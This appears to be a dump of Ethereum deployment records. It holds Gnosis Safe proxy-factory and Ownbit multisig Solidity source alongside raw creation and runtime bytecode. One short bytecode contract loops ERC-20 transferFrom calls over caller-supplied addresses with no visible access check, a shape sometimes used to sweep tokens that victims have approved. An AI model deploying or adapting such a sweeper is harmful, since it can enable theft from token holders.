// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,502,324 |
f3f3865b8d947b46ef8e7ee18cef064a6819830865df6487a58bbc8a6ec04823
|
0bd698a7e86d043181ff4629108c82ac06e897287f1fe431509b54f92e1bdfd5
|
eb04542288fd839d2b51356b1cc29828a0cc0fa4
|
eb04542288fd839d2b51356b1cc29828a0cc0fa4
|
45e56b710b77fef22833698706a7862e17080cd5
|
608060405234801561001057600080fd5b50610160806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c806312514bba14610030575b600080fd5b61004361003e366004610111565b610045565b005b600080368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920182905250845194955060046020602319909601959095049490940493925050505b8181101561010b57604483016020820281015160208484010282015160206002860285010283015160206003870286010284015193506040516323b872dd60e01b600052826004528160245284604452602060006064600080885af15060006060526040525050506001919091019050610096565b50505050565b60006020828403121561012357600080fd5b503591905056fea264697066735822122067d9eebf92a88f235f65a86b01b62d9f0f5b94d86347f6e4aad042b17bc3fdf764736f6c63430008120033
|
608060405234801561001057600080fd5b506004361061002b5760003560e01c806312514bba14610030575b600080fd5b61004361003e366004610111565b610045565b005b600080368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920182905250845194955060046020602319909601959095049490940493925050505b8181101561010b57604483016020820281015160208484010282015160206002860285010283015160206003870286010284015193506040516323b872dd60e01b600052826004528160245284604452602060006064600080885af15060006060526040525050506001919091019050610096565b50505050565b60006020828403121561012357600080fd5b503591905056fea264697066735822122067d9eebf92a88f235f65a86b01b62d9f0f5b94d86347f6e4aad042b17bc3fdf764736f6c63430008120033
| |
1 | 19,502,325 |
8434282d82b141c5e9288c8201ccd3eeba25f90ffc0375775cb19a03953fafd6
|
5093ea3e5f4d759451a01334e37fec4d1a1783d987ce5964324e9ade891169b2
|
0c00c053f193a635e4a747d7e1a1e06c87c02ddc
|
0c00c053f193a635e4a747d7e1a1e06c87c02ddc
|
cfe2ac8a9fed2691d79af1d657fe0cedcf910b37
|
608060405260006003553480156200001657600080fd5b5060405162001a4e38038062001a4e83398181016040528101906200003c9190620004cb565b81518160098211158015620000515750818111155b80156200005f575060018110155b6200006957600080fd5b60005b8451811015620001c9576000808683815181106200008f576200008e62000531565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680620001345750600073ffffffffffffffffffffffffffffffffffffffff1685828151811062000114576200011362000531565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16145b156200013f57600080fd5b60016000808784815181106200015a576200015962000531565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080620001c0906200058f565b9150506200006c565b508360019080519060200190620001e2929190620001f4565b508260028190555050505050620005dc565b82805482825590600052602060002090810192821562000270579160200282015b828111156200026f5782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509160200191906001019062000215565b5b5090506200027f919062000283565b5090565b5b808211156200029e57600081600090555060010162000284565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200030682620002bb565b810181811067ffffffffffffffff82111715620003285762000327620002cc565b5b80604052505050565b60006200033d620002a2565b90506200034b8282620002fb565b919050565b600067ffffffffffffffff8211156200036e576200036d620002cc565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620003b18262000384565b9050919050565b620003c381620003a4565b8114620003cf57600080fd5b50565b600081519050620003e381620003b8565b92915050565b600062000400620003fa8462000350565b62000331565b905080838252602082019050602084028301858111156200042657620004256200037f565b5b835b818110156200045357806200043e8882620003d2565b84526020840193505060208101905062000428565b5050509392505050565b600082601f830112620004755762000474620002b6565b5b815162000487848260208601620003e9565b91505092915050565b6000819050919050565b620004a58162000490565b8114620004b157600080fd5b50565b600081519050620004c5816200049a565b92915050565b60008060408385031215620004e557620004e4620002ac565b5b600083015167ffffffffffffffff811115620005065762000505620002b1565b5b62000514858286016200045d565b92505060206200052785828601620004b4565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200059c8262000490565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203620005d157620005d062000560565b5b600182019050919050565b61146280620005ec6000396000f3fe6080604052600436106100745760003560e01c8063a0e67e2b1161004e578063a0e67e2b1461014b578063c6a2a9f114610176578063d74f8edd146101a1578063f23a6e61146101cc57610075565b80631398a5f6146100ba578063150b7a02146100e55780637c99df4a1461012257610075565b5b60003411156100b8577f5af8184bef8e4b45eb9f6ed7734d04da38ced226495548f46e0c8ff8d7d9a52433346040516100af929190610915565b60405180910390a15b005b3480156100c657600080fd5b506100cf610209565b6040516100dc919061093e565b60405180910390f35b3480156100f157600080fd5b5061010c60048036038101906101079190610a2a565b610213565b6040516101199190610aed565b60405180910390f35b34801561012e57600080fd5b5061014960048036038101906101449190610d89565b610241565b005b34801561015757600080fd5b50610160610412565b60405161016d9190610f4a565b60405180910390f35b34801561018257600080fd5b5061018b6104a0565b604051610198919061093e565b60405180910390f35b3480156101ad57600080fd5b506101b66104aa565b6040516101c3919061093e565b60405180910390f35b3480156101d857600080fd5b506101f360048036038101906101ee9190610f6c565b6104af565b6040516102009190610aed565b60405180910390f35b6000600254905090565b60007f150b7a023d4804d13e8c85fb27262cb750cf6ba9f9dd3bb30d90f482ceeb4b1f905095945050505050565b3073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036102af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102a690611063565b60405180910390fd5b610301878787878787878080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050506104de565b610340576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610337906110cf565b60405180910390fd5b600160035461034f919061111e565b6003819055506000808873ffffffffffffffffffffffffffffffffffffffff16888585604051610380929190611191565b60006040518083038185875af1925050503d80600081146103bd576040519150601f19603f3d011682016040523d82523d6000602084013e6103c2565b606091505b50915091508115610407577fd3eec71143c45f28685b24760ea218d476917aa0ac0392a55e5304cef40bd2b689896040516103fe929190610915565b60405180910390a15b505050505050505050565b6060600180548060200260200160405190810160405280929190818152602001828054801561049657602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161044c575b5050505050905090565b6000600354905090565b600981565b60007ff23a6e612e1ff4830e658fe43f4e3cb4a5f8170bd5d9e69fb5d7a7fa9e4fdf9790509695505050505050565b600083518551146104ee57600080fd5b82518451146104fc57600080fd5b6001805490508551111561050f57600080fd5b6002548551101561051f57600080fd5b600061052c8888856106b4565b90506000865167ffffffffffffffff81111561054b5761054a610b19565b5b6040519080825280602002602001820160405280156105795781602001602082028036833780820191505090505b50905060005b875181101561069157600183601b8a84815181106105a05761059f6111aa565b5b60200260200101516105b291906111d9565b8984815181106105c5576105c46111aa565b5b60200260200101518985815181106105e0576105df6111aa565b5b602002602001015160405160008152602001604052604051610605949392919061122c565b6020604051602081039080840390855afa158015610627573d6000803e3d6000fd5b50505060206040510351828281518110610644576106436111aa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050808061068990611271565b91505061057f565b5061069b81610732565b6106a457600080fd5b6001925050509695505050505050565b6000806106c285858561087a565b905060006040518060400160405280601c81526020017f19457468657265756d205369676e6564204d6573736167653a0a33320000000081525090508082604051602001610711929190611340565b60405160208183030381529060405280519060200120925050509392505050565b60006001805490508251111561074b5760009050610875565b60005b825181101561086f5760008084838151811061076d5761076c6111aa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166107cb576000915050610875565b60005b8181101561085b578381815181106107e9576107e86111aa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1684838151811061081a576108196111aa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff160361084857600092505050610875565b808061085390611271565b9150506107ce565b50808061086790611271565b91505061074e565b50600190505b919050565b600080308585856003546040516020016108989594939291906113d1565b604051602081830303815290604052805190602001209050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006108e6826108bb565b9050919050565b6108f6816108db565b82525050565b6000819050919050565b61090f816108fc565b82525050565b600060408201905061092a60008301856108ed565b6109376020830184610906565b9392505050565b60006020820190506109536000830184610906565b92915050565b6000604051905090565b600080fd5b600080fd5b610976816108db565b811461098157600080fd5b50565b6000813590506109938161096d565b92915050565b6109a2816108fc565b81146109ad57600080fd5b50565b6000813590506109bf81610999565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126109ea576109e96109c5565b5b8235905067ffffffffffffffff811115610a0757610a066109ca565b5b602083019150836001820283011115610a2357610a226109cf565b5b9250929050565b600080600080600060808688031215610a4657610a45610963565b5b6000610a5488828901610984565b9550506020610a6588828901610984565b9450506040610a76888289016109b0565b935050606086013567ffffffffffffffff811115610a9757610a96610968565b5b610aa3888289016109d4565b92509250509295509295909350565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b610ae781610ab2565b82525050565b6000602082019050610b026000830184610ade565b92915050565b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b610b5182610b08565b810181811067ffffffffffffffff82111715610b7057610b6f610b19565b5b80604052505050565b6000610b83610959565b9050610b8f8282610b48565b919050565b600067ffffffffffffffff821115610baf57610bae610b19565b5b602082029050602081019050919050565b600060ff82169050919050565b610bd681610bc0565b8114610be157600080fd5b50565b600081359050610bf381610bcd565b92915050565b6000610c0c610c0784610b94565b610b79565b90508083825260208201905060208402830185811115610c2f57610c2e6109cf565b5b835b81811015610c585780610c448882610be4565b845260208401935050602081019050610c31565b5050509392505050565b600082601f830112610c7757610c766109c5565b5b8135610c87848260208601610bf9565b91505092915050565b600067ffffffffffffffff821115610cab57610caa610b19565b5b602082029050602081019050919050565b6000819050919050565b610ccf81610cbc565b8114610cda57600080fd5b50565b600081359050610cec81610cc6565b92915050565b6000610d05610d0084610c90565b610b79565b90508083825260208201905060208402830185811115610d2857610d276109cf565b5b835b81811015610d515780610d3d8882610cdd565b845260208401935050602081019050610d2a565b5050509392505050565b600082601f830112610d7057610d6f6109c5565b5b8135610d80848260208601610cf2565b91505092915050565b600080600080600080600060c0888a031215610da857610da7610963565b5b6000610db68a828b01610984565b9750506020610dc78a828b016109b0565b965050604088013567ffffffffffffffff811115610de857610de7610968565b5b610df48a828b01610c62565b955050606088013567ffffffffffffffff811115610e1557610e14610968565b5b610e218a828b01610d5b565b945050608088013567ffffffffffffffff811115610e4257610e41610968565b5b610e4e8a828b01610d5b565b93505060a088013567ffffffffffffffff811115610e6f57610e6e610968565b5b610e7b8a828b016109d4565b925092505092959891949750929550565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b610ec1816108db565b82525050565b6000610ed38383610eb8565b60208301905092915050565b6000602082019050919050565b6000610ef782610e8c565b610f018185610e97565b9350610f0c83610ea8565b8060005b83811015610f3d578151610f248882610ec7565b9750610f2f83610edf565b925050600181019050610f10565b5085935050505092915050565b60006020820190508181036000830152610f648184610eec565b905092915050565b60008060008060008060a08789031215610f8957610f88610963565b5b6000610f9789828a01610984565b9650506020610fa889828a01610984565b9550506040610fb989828a016109b0565b9450506060610fca89828a016109b0565b935050608087013567ffffffffffffffff811115610feb57610fea610968565b5b610ff789828a016109d4565b92509250509295509295509295565b600082825260208201905092915050565b7f4e6f7420616c6c6f772073656e64696e6720746f20796f757273656c66000000600082015250565b600061104d601d83611006565b915061105882611017565b602082019050919050565b6000602082019050818103600083015261107c81611040565b9050919050565b7f696e76616c6964207369676e6174757265730000000000000000000000000000600082015250565b60006110b9601283611006565b91506110c482611083565b602082019050919050565b600060208201905081810360008301526110e8816110ac565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611129826108fc565b9150611134836108fc565b925082820190508082111561114c5761114b6110ef565b5b92915050565b600081905092915050565b82818337600083830152505050565b60006111788385611152565b935061118583858461115d565b82840190509392505050565b600061119e82848661116c565b91508190509392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006111e482610bc0565b91506111ef83610bc0565b9250828201905060ff811115611208576112076110ef565b5b92915050565b61121781610cbc565b82525050565b61122681610bc0565b82525050565b6000608082019050611241600083018761120e565b61124e602083018661121d565b61125b604083018561120e565b611268606083018461120e565b95945050505050565b600061127c826108fc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036112ae576112ad6110ef565b5b600182019050919050565b600081519050919050565b60005b838110156112e25780820151818401526020810190506112c7565b60008484015250505050565b60006112f9826112b9565b6113038185611152565b93506113138185602086016112c4565b80840191505092915050565b6000819050919050565b61133a61133582610cbc565b61131f565b82525050565b600061134c82856112ee565b91506113588284611329565b6020820191508190509392505050565b60008160601b9050919050565b600061138082611368565b9050919050565b600061139282611375565b9050919050565b6113aa6113a5826108db565b611387565b82525050565b6000819050919050565b6113cb6113c6826108fc565b6113b0565b82525050565b60006113dd8288611399565b6014820191506113ed8287611399565b6014820191506113fd82866113ba565b60208201915061140d82856112ee565b915061141982846113ba565b602082019150819050969550505050505056fea26469706673582212207814c6826ba0a1cd65cbabb7fec975a43710687fd922ba4dea534f426fad55da64736f6c63430008110033000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000004000000000000000000000000a432babee8cbef94f5852721333ac8a155c9764f0000000000000000000000007bd4d089f710c99fb9752a4d646c8242a17cdeb30000000000000000000000008062b5caa02c2083b833e56770547142a68c4c8b0000000000000000000000002179f762d550f8781f92c865e28e5f91b429920e
|
6080604052600436106100745760003560e01c8063a0e67e2b1161004e578063a0e67e2b1461014b578063c6a2a9f114610176578063d74f8edd146101a1578063f23a6e61146101cc57610075565b80631398a5f6146100ba578063150b7a02146100e55780637c99df4a1461012257610075565b5b60003411156100b8577f5af8184bef8e4b45eb9f6ed7734d04da38ced226495548f46e0c8ff8d7d9a52433346040516100af929190610915565b60405180910390a15b005b3480156100c657600080fd5b506100cf610209565b6040516100dc919061093e565b60405180910390f35b3480156100f157600080fd5b5061010c60048036038101906101079190610a2a565b610213565b6040516101199190610aed565b60405180910390f35b34801561012e57600080fd5b5061014960048036038101906101449190610d89565b610241565b005b34801561015757600080fd5b50610160610412565b60405161016d9190610f4a565b60405180910390f35b34801561018257600080fd5b5061018b6104a0565b604051610198919061093e565b60405180910390f35b3480156101ad57600080fd5b506101b66104aa565b6040516101c3919061093e565b60405180910390f35b3480156101d857600080fd5b506101f360048036038101906101ee9190610f6c565b6104af565b6040516102009190610aed565b60405180910390f35b6000600254905090565b60007f150b7a023d4804d13e8c85fb27262cb750cf6ba9f9dd3bb30d90f482ceeb4b1f905095945050505050565b3073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036102af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102a690611063565b60405180910390fd5b610301878787878787878080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050506104de565b610340576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610337906110cf565b60405180910390fd5b600160035461034f919061111e565b6003819055506000808873ffffffffffffffffffffffffffffffffffffffff16888585604051610380929190611191565b60006040518083038185875af1925050503d80600081146103bd576040519150601f19603f3d011682016040523d82523d6000602084013e6103c2565b606091505b50915091508115610407577fd3eec71143c45f28685b24760ea218d476917aa0ac0392a55e5304cef40bd2b689896040516103fe929190610915565b60405180910390a15b505050505050505050565b6060600180548060200260200160405190810160405280929190818152602001828054801561049657602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161044c575b5050505050905090565b6000600354905090565b600981565b60007ff23a6e612e1ff4830e658fe43f4e3cb4a5f8170bd5d9e69fb5d7a7fa9e4fdf9790509695505050505050565b600083518551146104ee57600080fd5b82518451146104fc57600080fd5b6001805490508551111561050f57600080fd5b6002548551101561051f57600080fd5b600061052c8888856106b4565b90506000865167ffffffffffffffff81111561054b5761054a610b19565b5b6040519080825280602002602001820160405280156105795781602001602082028036833780820191505090505b50905060005b875181101561069157600183601b8a84815181106105a05761059f6111aa565b5b60200260200101516105b291906111d9565b8984815181106105c5576105c46111aa565b5b60200260200101518985815181106105e0576105df6111aa565b5b602002602001015160405160008152602001604052604051610605949392919061122c565b6020604051602081039080840390855afa158015610627573d6000803e3d6000fd5b50505060206040510351828281518110610644576106436111aa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050808061068990611271565b91505061057f565b5061069b81610732565b6106a457600080fd5b6001925050509695505050505050565b6000806106c285858561087a565b905060006040518060400160405280601c81526020017f19457468657265756d205369676e6564204d6573736167653a0a33320000000081525090508082604051602001610711929190611340565b60405160208183030381529060405280519060200120925050509392505050565b60006001805490508251111561074b5760009050610875565b60005b825181101561086f5760008084838151811061076d5761076c6111aa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166107cb576000915050610875565b60005b8181101561085b578381815181106107e9576107e86111aa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1684838151811061081a576108196111aa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff160361084857600092505050610875565b808061085390611271565b9150506107ce565b50808061086790611271565b91505061074e565b50600190505b919050565b600080308585856003546040516020016108989594939291906113d1565b604051602081830303815290604052805190602001209050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006108e6826108bb565b9050919050565b6108f6816108db565b82525050565b6000819050919050565b61090f816108fc565b82525050565b600060408201905061092a60008301856108ed565b6109376020830184610906565b9392505050565b60006020820190506109536000830184610906565b92915050565b6000604051905090565b600080fd5b600080fd5b610976816108db565b811461098157600080fd5b50565b6000813590506109938161096d565b92915050565b6109a2816108fc565b81146109ad57600080fd5b50565b6000813590506109bf81610999565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126109ea576109e96109c5565b5b8235905067ffffffffffffffff811115610a0757610a066109ca565b5b602083019150836001820283011115610a2357610a226109cf565b5b9250929050565b600080600080600060808688031215610a4657610a45610963565b5b6000610a5488828901610984565b9550506020610a6588828901610984565b9450506040610a76888289016109b0565b935050606086013567ffffffffffffffff811115610a9757610a96610968565b5b610aa3888289016109d4565b92509250509295509295909350565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b610ae781610ab2565b82525050565b6000602082019050610b026000830184610ade565b92915050565b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b610b5182610b08565b810181811067ffffffffffffffff82111715610b7057610b6f610b19565b5b80604052505050565b6000610b83610959565b9050610b8f8282610b48565b919050565b600067ffffffffffffffff821115610baf57610bae610b19565b5b602082029050602081019050919050565b600060ff82169050919050565b610bd681610bc0565b8114610be157600080fd5b50565b600081359050610bf381610bcd565b92915050565b6000610c0c610c0784610b94565b610b79565b90508083825260208201905060208402830185811115610c2f57610c2e6109cf565b5b835b81811015610c585780610c448882610be4565b845260208401935050602081019050610c31565b5050509392505050565b600082601f830112610c7757610c766109c5565b5b8135610c87848260208601610bf9565b91505092915050565b600067ffffffffffffffff821115610cab57610caa610b19565b5b602082029050602081019050919050565b6000819050919050565b610ccf81610cbc565b8114610cda57600080fd5b50565b600081359050610cec81610cc6565b92915050565b6000610d05610d0084610c90565b610b79565b90508083825260208201905060208402830185811115610d2857610d276109cf565b5b835b81811015610d515780610d3d8882610cdd565b845260208401935050602081019050610d2a565b5050509392505050565b600082601f830112610d7057610d6f6109c5565b5b8135610d80848260208601610cf2565b91505092915050565b600080600080600080600060c0888a031215610da857610da7610963565b5b6000610db68a828b01610984565b9750506020610dc78a828b016109b0565b965050604088013567ffffffffffffffff811115610de857610de7610968565b5b610df48a828b01610c62565b955050606088013567ffffffffffffffff811115610e1557610e14610968565b5b610e218a828b01610d5b565b945050608088013567ffffffffffffffff811115610e4257610e41610968565b5b610e4e8a828b01610d5b565b93505060a088013567ffffffffffffffff811115610e6f57610e6e610968565b5b610e7b8a828b016109d4565b925092505092959891949750929550565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b610ec1816108db565b82525050565b6000610ed38383610eb8565b60208301905092915050565b6000602082019050919050565b6000610ef782610e8c565b610f018185610e97565b9350610f0c83610ea8565b8060005b83811015610f3d578151610f248882610ec7565b9750610f2f83610edf565b925050600181019050610f10565b5085935050505092915050565b60006020820190508181036000830152610f648184610eec565b905092915050565b60008060008060008060a08789031215610f8957610f88610963565b5b6000610f9789828a01610984565b9650506020610fa889828a01610984565b9550506040610fb989828a016109b0565b9450506060610fca89828a016109b0565b935050608087013567ffffffffffffffff811115610feb57610fea610968565b5b610ff789828a016109d4565b92509250509295509295509295565b600082825260208201905092915050565b7f4e6f7420616c6c6f772073656e64696e6720746f20796f757273656c66000000600082015250565b600061104d601d83611006565b915061105882611017565b602082019050919050565b6000602082019050818103600083015261107c81611040565b9050919050565b7f696e76616c6964207369676e6174757265730000000000000000000000000000600082015250565b60006110b9601283611006565b91506110c482611083565b602082019050919050565b600060208201905081810360008301526110e8816110ac565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611129826108fc565b9150611134836108fc565b925082820190508082111561114c5761114b6110ef565b5b92915050565b600081905092915050565b82818337600083830152505050565b60006111788385611152565b935061118583858461115d565b82840190509392505050565b600061119e82848661116c565b91508190509392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006111e482610bc0565b91506111ef83610bc0565b9250828201905060ff811115611208576112076110ef565b5b92915050565b61121781610cbc565b82525050565b61122681610bc0565b82525050565b6000608082019050611241600083018761120e565b61124e602083018661121d565b61125b604083018561120e565b611268606083018461120e565b95945050505050565b600061127c826108fc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036112ae576112ad6110ef565b5b600182019050919050565b600081519050919050565b60005b838110156112e25780820151818401526020810190506112c7565b60008484015250505050565b60006112f9826112b9565b6113038185611152565b93506113138185602086016112c4565b80840191505092915050565b6000819050919050565b61133a61133582610cbc565b61131f565b82525050565b600061134c82856112ee565b91506113588284611329565b6020820191508190509392505050565b60008160601b9050919050565b600061138082611368565b9050919050565b600061139282611375565b9050919050565b6113aa6113a5826108db565b611387565b82525050565b6000819050919050565b6113cb6113c6826108fc565b6113b0565b82525050565b60006113dd8288611399565b6014820191506113ed8287611399565b6014820191506113fd82866113ba565b60208201915061140d82856112ee565b915061141982846113ba565b602082019150819050969550505050505056fea26469706673582212207814c6826ba0a1cd65cbabb7fec975a43710687fd922ba4dea534f426fad55da64736f6c63430008110033
|
pragma solidity >=0.8.0 <0.9.0;
// This is the ETH/ERC20/NFT multisig contract for Ownbit.
//
// For 2-of-3 multisig, to authorize a spend, two signtures must be provided by 2 of the 3 owners.
// To generate the message to be signed, provide the destination address and
// spend amount (in wei) to the generateMessageToSign method.
// The signatures must be provided as the (v, r, s) hex-encoded coordinates.
// The S coordinate must be 0x00 or 0x01 corresponding to 0x1b and 0x1c, respectively.
//
// WARNING: The generated message is only valid until the next spend is executed.
// after that, a new message will need to be calculated.
//
//
// INFO: This contract is ERC20/ERC721/ERC1155 compatible.
// This contract can both receive ETH, ERC20 and NFT (ERC721/ERC1155) tokens.
// Last update time: 2022-09-25.
// copyright@ownbit.io
contract OwnbitMultiSig {
uint constant public MAX_OWNER_COUNT = 9;
// The N addresses which control the funds in this contract. The
// owners of M of these addresses will need to both sign a message
// allowing the funds in this contract to be spent.
mapping(address => bool) private isOwner;
address[] private owners;
uint private required;
// The contract nonce is not accessible to the contract so we
// implement a nonce-like variable for replay protection.
uint256 private spendNonce = 0;
// An event sent when funds are received.
event Funded(address from, uint value);
// An event sent when a spend is triggered to the given address.
event Spent(address to, uint value);
modifier validRequirement(uint ownerCount, uint _required) {
require (ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required >= 1);
_;
}
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor(address[] memory _owners, uint _required) validRequirement(_owners.length, _required) {
for (uint i = 0; i < _owners.length; i++) {
//onwer should be distinct, and non-zero
if (isOwner[_owners[i]] || _owners[i] == address(0x0)) {
revert();
}
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
// The fallback function for this contract.
fallback() external payable {
if (msg.value > 0) {
emit Funded(msg.sender, msg.value);
}
}
// @dev Returns list of owners.
// @return List of owner addresses.
function getOwners() public view returns (address[] memory) {
return owners;
}
function getSpendNonce() public view returns (uint256) {
return spendNonce;
}
function getRequired() public view returns (uint) {
return required;
}
// Generates the message to sign given the output destination address and amount.
// includes this contract's address and a nonce for replay protection.
// One option to independently verify: https://leventozturk.com/engineering/sha3/ and select keccak
function generateMessageToSign(address destination, uint256 value, bytes memory data) private view returns (bytes32) {
//the sequence must match generateMultiSigV3 in JS
bytes32 message = keccak256(abi.encodePacked(address(this), destination, value, data, spendNonce));
return message;
}
function _messageToRecover(address destination, uint256 value, bytes memory data) private view returns (bytes32) {
bytes32 hashedUnsignedMessage = generateMessageToSign(destination, value, data);
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
return keccak256(abi.encodePacked(prefix, hashedUnsignedMessage));
}
//destination can be a normal address or a contract address, such as ERC20 contract address.
//value is the wei transferred to the destination.
//data for transfer ether: 0x
//data for transfer erc20 example: 0xa9059cbb000000000000000000000000ac6342a7efb995d63cc91db49f6023e95873d25000000000000000000000000000000000000000000000000000000000000003e8
